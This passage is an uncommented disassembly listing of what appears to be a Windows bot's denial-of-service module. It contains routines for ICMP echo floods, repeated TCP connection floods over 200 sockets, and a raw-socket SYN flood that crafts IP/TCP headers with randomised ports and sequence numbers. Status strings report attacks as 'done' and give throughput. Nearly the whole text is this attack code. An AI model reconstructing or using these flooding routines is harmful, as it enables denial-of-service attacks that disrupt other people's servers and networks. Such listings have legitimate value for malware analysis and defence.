		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4266A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426820	proc near		; CODE XREF: sub_401E7Ej

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_436840
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27D0A0Ch
		mov	esi, eax
		test	esi, esi
		jz	short loc_42688A
		mov	edi, dword_50F8A0
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_50E150, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_50E154, eax
		call	edi
		mov	ecx, dword_50E150
		mov	dword_50E14C, eax
		test	ecx, ecx
		jz	short loc_42688A
		mov	edx, dword_50E154
		test	edx, edx
		jz	short loc_42688A
		test	eax, eax
		jz	short loc_42688A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_426895


loc_42688A:				; CODE XREF: sub_426820+1Bj
					; sub_426820+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_426895:				; CODE XREF: sub_426820+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_4268AC
		mov	[esp+24h+arg_FFE8], eax


loc_4268AC:				; CODE XREF: sub_426820+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_4268BF
		mov	ebp, 1


loc_4268BF:				; CODE XREF: sub_426820+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_426904


loc_4268D0:				; CODE XREF: sub_426820+E2j
		mov	al, byte_4D64F9
		test	al, al
		jz	short loc_426904
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_50E14C	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_4268D0


loc_426904:				; CODE XREF: sub_426820+AEj
					; sub_426820+B7j
		push	edi
		call	dword_50E154	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_426820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426960	proc near		; CODE XREF: sub_40182Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E7E
		add	esp, 14h
		retn
sub_426960	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401BC7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4269A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0FC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426A10:				; CODE XREF: ___:00401A19j
					; ___:loc_401AAFj
		push	esi
		mov	esi, ecx
		call	sub_4017FD
		test	byte ptr [esp+8], 1
		jz	short loc_426A28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426A28:				; CODE XREF: ___:00426A1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426A40	proc near		; CODE XREF: sub_4017FDj
		jmp	sub_4014C4
sub_426A40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A60	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E5DCF
		mov	[esp+2Ch+var_28], eax


loc_426A86:				; CODE XREF: sub_426A60+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_426A97
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E672F
		jl	short loc_426A86


loc_426A97:				; CODE XREF: sub_426A60+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_426C49
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E5D5Bh[eax*8]
		call	sub_4017E4
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_426B00
		mov	dword ptr [ebp+68h], 5


loc_426B00:				; CODE XREF: sub_426A60+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_50E15C
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_50E35C
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		call	near ptr 2770794h
		nop
		test	eax, eax
		mov	dword_50E360, eax
		jz	short loc_426B9B
		push	offset dword_446F74
		push	5
		push	eax
		push	0
		push	offset dword_50E15C
		call	sub_4013E8
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_426BCB
; ---------------------------------------------------------------------------


loc_426B9B:				; CODE XREF: sub_426A60+11Dj
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_426BCB:				; CODE XREF: sub_426A60+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_401424
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_426C49:				; CODE XREF: sub_426A60+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_426A60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426CE0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E5D5Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		call	near ptr 71AB2B66h
		nop
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		call	near ptr 71AB2BF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426D76
		push	ebp
		call	near ptr 71AB4FD4h
		nop
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_426D6F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6775[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_426D6F:				; CODE XREF: sub_426CE0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_426D76:				; CODE XREF: sub_426CE0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_426E26
		mov	ebx, dword_50FC30


loc_426D95:				; CODE XREF: sub_426CE0+140j
		mov	al, byte_4D64F9
		test	al, al
		jz	loc_426E26
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DAB:				; CODE XREF: sub_426CE0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_426DCB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB4519h
		nop


loc_426DCB:				; CODE XREF: sub_426CE0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_426DAB
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DDA:				; CODE XREF: sub_426CE0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_426DDA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 28302B0h
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E03:				; CODE XREF: sub_426CE0+130j
		mov	edx, [esi]
		push	edx
		call	near ptr 71AB9639h
		nop
		add	esi, 4
		dec	edi
		jnz	short loc_426E03
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_426D95


loc_426E26:				; CODE XREF: sub_426CE0+A9j
					; sub_426CE0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6775[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_426CE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426EB0	proc near		; CODE XREF: sub_401DD9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426EB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E10C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426EB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426F20	proc near		; CODE XREF: ___:004016DBj sub_40181Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_426F38
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426F38:				; CODE XREF: sub_426F20+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426F20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426F50	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014C4
sub_426F50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426F70	proc near		; CODE XREF: sub_401E92j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426F70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401DB6
sub_426F70	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4270E0	proc near		; CODE XREF: sub_401BB3j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021A3
sub_4270E0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_427171
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_427171:				; CODE XREF: ___:00427151j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_4271A4
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271A4:				; CODE XREF: ___:00427195j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4271C7


loc_4271BA:				; CODE XREF: ___:0042736Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271C7:				; CODE XREF: ___:004271B8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_50FC2C
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 27E08AFh
		mov	[esp+48h], eax
		mov	al, byte_4D64F9
		test	al, al
		jz	loc_42741B
		mov	ebx, dword_50FABC
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_427265
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_427265:				; CODE XREF: ___:00427261j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A28
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A28
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4271BA
		nop
		call	near ptr 27E08AFh
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_427417
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4273B9
		push	2710h
		push	3E8h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4273B9:				; CODE XREF: ___:0042739Ej
		push	0FFh
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 8EA6E890h, 0F9A00240h, 84004D64h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_427417:				; CODE XREF: ___:00427396j
		mov	edi, [esp+18h]


loc_42741B:				; CODE XREF: ___:0042724Bj
		push	edi
		call	near ptr 71AB9639h
		nop
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427520	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40187F
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_427541
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_427541:				; CODE XREF: sub_427520+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BB3
sub_427520	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427590	proc near		; CODE XREF: sub_401785j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E11C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427590	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427600	proc near		; CODE XREF: ___:004014ECj sub_40222Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_427618
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427618:				; CODE XREF: sub_427600+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427630	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014C4
sub_427630	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427650	proc near		; CODE XREF: sub_401A05j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401730
		add	esp, 14h
		test	eax, eax
		jz	short loc_42771E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_42771E:				; CODE XREF: sub_427650+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427650	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277C0	proc near		; CODE XREF: sub_401730j

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
